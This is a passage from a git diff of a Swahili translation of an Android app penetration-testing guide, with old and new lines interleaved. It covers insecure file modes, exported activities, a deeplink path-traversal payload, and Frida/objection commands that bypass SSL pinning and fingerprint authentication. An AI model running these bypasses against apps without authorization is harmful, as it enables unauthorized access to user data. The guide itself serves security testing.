Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
|
||||
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zime **kusudiwa** kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
|
||||
|
||||
1. **Uchambuzi wa Kawaida:**
|
||||
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usiotarajiwa**.
|
||||
2. **Uchambuzi wa Dinamik:**
|
||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
|
||||
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
|
||||
2. **Uchambuzi wa Dynamic:**
|
||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote ime **wekwa kuwa inasomeka au kuandikwa duniani kote**. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
|
||||
|
||||
**Hifadhi ya Nje**
|
||||
|
||||
@ -125,8 +125,8 @@ Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, t
|
||||
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
|
||||
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
|
||||
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
|
||||
- Kuhifadhi faili za kutekeleza au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutoendeshwa.
|
||||
- Ikiwa programu yako inapaswa kupata faili za kutekeleza kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kijiografia** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
|
||||
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dynamic kunashauriwa kutoendeshwa.
|
||||
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dynamic. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
|
||||
|
||||
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
@ -149,7 +149,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama Burp bila kuidhinisha Burp CA ndani ya kifaa. Pia, unaweza kuunda na Burp cheti kwa jina la mwenyeji tofauti na kulitumika.
|
||||
|
||||
### Uthibitishaji wa Kifaa
|
||||
### Uthibitishaji wa Kificho
|
||||
|
||||
**Mchakato Mbaya wa Usimamizi wa Funguo**
|
||||
|
||||
@ -164,7 +164,7 @@ Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **uk
|
||||
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake wa kuona kama simu imejikita** na kuchukua hatua.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuangalia kama imebadilishwa.
|
||||
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
|
||||
- Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK
|
||||
|
||||
### Programu ya React Native
|
||||
@ -189,7 +189,7 @@ Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking
|
||||
|
||||
### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki
|
||||
|
||||
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambayo inaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambayo inaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
|
||||
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
|
||||
|
||||
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
|
||||
|
||||
@ -203,7 +203,7 @@ Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdoma
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Kazi Nyingine za Kuvutia
|
||||
### Kazi Mwingine za Kuvutia
|
||||
|
||||
- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
@ -226,7 +226,7 @@ content-protocol.md
|
||||
|
||||
### Uchambuzi wa Kijamii Mtandaoni
|
||||
|
||||
Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuwezesha **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi.
|
||||
Unaweza kuunda **akaunti ya bure** katika: [https://appetize.io/](https://appetize.io). Jukwaa hili linakuruhusu **kupakia** na **kutekeleza** APKs, hivyo ni muhimu kuona jinsi apk inavyofanya kazi.
|
||||
|
||||
Unaweza hata **kuona kumbukumbu za programu yako** kwenye wavuti na kuungana kupitia **adb**.
|
||||
|
||||
@ -239,7 +239,7 @@ Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya
|
||||
#### Kutumia emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye kasi polepole).
|
||||
- Jifunze jinsi ya kuiseti kwenye ukurasa huu:
|
||||
- Jifunze jinsi ya kuipanga kwenye ukurasa huu:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
@ -264,35 +264,35 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k
|
||||
1. **Mipangilio**.
|
||||
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
|
||||
3. Chagua **Kuhusu simu**.
|
||||
4. Bonyeza **Nambari ya Kujenga** mara 7.
|
||||
5. Rudi nyuma na utapata **Chaguzi za Mwandishi**.
|
||||
4. Bonyeza **Nambari ya Ujenzi** mara 7.
|
||||
5. Rudi nyuma na utaona **Chaguzi za Mwandishi**.
|
||||
|
||||
> Mara tu umepakia programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia uchambuzi wa kijamii wa MobSF + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
|
||||
> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijamii kwa kutumia MobSF uchambuzi wa kijamii + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
|
||||
|
||||
### Kuvuja kwa Data zisizokusudiwa
|
||||
### Kuvuja kwa Data Isiyokusudiwa
|
||||
|
||||
**Kumbukumbu**
|
||||
|
||||
Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa ajili ya kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji.
|
||||
Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji.
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\
|
||||
> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**.
|
||||
> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**.
|
||||
|
||||
**Kuhifadhi Kumbukumbu za Nakala/Pasta**
|
||||
|
||||
Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data.
|
||||
Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika programu, lakini unatoa hatari kwani **programu nyingine** zinaweza **kufikia** clipboard, na hivyo kuweza kufichua data nyeti. Ni muhimu **kuondoa kazi za nakala/pasta** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kuvuja kwa data.
|
||||
|
||||
**Kumbukumbu za Kuanguka**
|
||||
|
||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
|
||||
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
|
||||
|
||||
Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
|
||||
|
||||
**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
|
||||
|
||||
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini kuvuja kwa data zinazoweza kutokea, inapendekezwa **kukamata trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
|
||||
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
@ -303,21 +303,21 @@ Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupa
|
||||
|
||||
Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table_name>`
|
||||
|
||||
### Drozer (Shughuli za Kutekeleza, Watoa Maudhui na Huduma)
|
||||
### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma)
|
||||
|
||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuwezesha **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini. .\
|
||||
Drozer ni chombo muhimu kwa **kufanya kazi za kutekeleza zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
|
||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
|
||||
Drozer ni chombo muhimu kwa **kuvunja shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
|
||||
|
||||
### Kutilia Mkazo Shughuli za Kutekeleza
|
||||
### Kuvunja Shughuli Zilizotolewa
|
||||
|
||||
[**Soma hii ikiwa unataka kufreshi kile ni Activity ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
|
||||
|
||||
**Kupita Uthibitishaji**
|
||||
|
||||
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
|
||||
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
|
||||
|
||||
[**Jifunze jinsi ya kutumia Drozer kutekeleza shughuli zilizotolewa.**](drozer-tutorial/index.html#activities)
|
||||
[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
|
||||
|
||||
@ -333,7 +333,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
**Kuvuja kwa taarifa nyeti**
|
||||
|
||||
**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa utaweza kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti.
|
||||
**Shughuli zinaweza pia kurudisha matokeo**. Ikiwa unafanikiwa kupata shughuli iliyosambazwa na isiyo na ulinzi inayoita **`setResult`** na **kurudisha taarifa nyeti**, kuna uvujaji wa taarifa nyeti.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
@ -351,7 +351,7 @@ Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa mau
|
||||
[**Soma hii ikiwa unataka kukumbusha nini ni Huduma.**](android-applications-basics.md#services)\
|
||||
Kumbuka kwamba vitendo vya Huduma huanza katika njia `onStartCommand`.
|
||||
|
||||
Kama huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **kurudisha** (au la) jibu. Hivyo, ikiwa programu inasambaza huduma fulani unapaswa **kuangalia** **msimbo** ili kuelewa inafanya nini na **kujaribu** kwa **dynamically** ili kuchota taarifa za siri, kupita hatua za uthibitishaji...\
|
||||
Kama huduma ni kimsingi kitu ambacho **kinaweza kupokea data**, **kuchakata** na **kurudisha** (au la) jibu. Basi, ikiwa programu inasambaza huduma fulani unapaswa **kuangalia** **msimbo** ili kuelewa inafanya nini na **kujaribu** kwa **dynamically** ili kuchota taarifa za siri, kupita hatua za uthibitishaji...\
|
||||
[**Jifunze jinsi ya kutumia Huduma na Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Kutumia Vastika za Matangazo**
|
||||
@ -384,12 +384,12 @@ Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa
|
||||
|
||||
**Sensitive info**
|
||||
|
||||
Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
|
||||
Kila wakati unapotafuta deeplink hakikisha **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
|
||||
|
||||
**Parameters in path**
|
||||
|
||||
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **account takeover** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na vuln ulitumia njia sahihi) na vuln nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio na udhaifu ulitumia njia sahihi) na udhaifu mwingine wowote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**More examples**
|
||||
|
||||
@ -398,7 +398,7 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
|
||||
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
|
||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
|
||||
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Udhaifu huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
|
||||
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
|
||||
|
||||
#### Certificate Verification
|
||||
@ -413,7 +413,7 @@ SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhi
|
||||
|
||||
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hii, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti ya CA ya kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md).
|
||||
Programu zinazolenga **API Level 24 na juu** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea tutorial hii**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**](flutter.md). Hii ni kwa sababu, kuongeza cheti kwenye duka hakutafanya kazi kwani Flutter ina orodha yake ya CAs halali.
|
||||
|
||||
@ -421,11 +421,11 @@ Ikiwa **Flutter** inatumika unahitaji kufuata maelekezo katika [**ukurasa huu**]
|
||||
|
||||
Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya HTTPS. Njia mbalimbali zinapatikana kwa kusudi hili:
|
||||
|
||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
- Kiotomatiki **badilisha** **apk** ili **kuipita** SSLPinning kwa kutumia [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida bora ya chaguo hili, ni kwamba hutahitaji root ili kuipita SSL Pinning, lakini utahitaji kufuta programu na kuisakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
- Unaweza kutumia **Frida** (iliyajadiliwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF dynamic analysis** (iliyofafanuliwa hapa chini)
|
||||
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (ilielezewa hapa chini)
|
||||
- Ikiwa bado unafikiri kuna trafiki ambayo hujaipata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
|
||||
@ -434,7 +434,7 @@ Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo y
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ni zana ya uhandisi wa dynamic kwa waendelezaji, wahandisi wa kurudi, na watafiti wa usalama.\
|
||||
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
|
||||
**Unaweza kufikia programu inayotembea na kuunganisha mbinu wakati wa wakati wa kukarabati, kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia code tofauti...**\
|
||||
Ikiwa unataka kufanya pentest kwenye programu za Android unahitaji kujua jinsi ya kutumia Frida.
|
||||
|
||||
- Jifunze jinsi ya kutumia Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
@ -462,9 +462,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Data nyeti katika Keystore**
|
||||
|
||||
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu yeyote mwenye ufikiaji wa kimwili wa kifaa anaweza kuwa na uwezo wa kuiba data hii.
|
||||
Katika Android, Keystore ni mahali bora pa kuhifadhi data nyeti, hata hivyo, kwa ruhusa ya kutosha bado **inawezekana kuipata**. Kadri programu zinavyotenda kuhifadhi hapa **data nyeti katika maandiko wazi**, pentests zinapaswa kuangalia kwa mtumiaji wa root au mtu mwenye ufikiaji wa kimwili kwenye kifaa anaweza kuwa na uwezo wa kuiba data hii.
|
||||
|
||||
Hata kama programu imehifadhi data katika keystore, data hiyo inapaswa kuwa imefungwa.
|
||||
Hata kama programu imehifadhi data katika keystore, data inapaswa kuwa imefungwa.
|
||||
|
||||
Ili kufikia data ndani ya keystore unaweza kutumia script hii ya Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
@ -472,7 +472,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitisho wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
|
||||
Kwa kutumia skripti ifuatayo ya Frida inaweza kuwa inawezekana **kuzidi uthibitishaji wa alama za vidole** ambayo programu za Android zinaweza kuwa zinafanya ili **kulinda maeneo fulani nyeti:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -480,40 +480,40 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
Wakati unapoweka programu katika muktadha, Android huhifadhi **picha ya programu** ili wakati inaporejeshwa kwenye mbele inaanza kupakia picha kabla ya programu ili ionekane kama programu imepakiwa haraka.
|
||||
|
||||
Hata hivyo, ikiwa picha hii ina **taarifa nyeti**, mtu mwenye ufikiaji wa picha hiyo anaweza **kuchukua taarifa hiyo** (kumbuka kuwa unahitaji root ili kuweza kuifikia).
|
||||
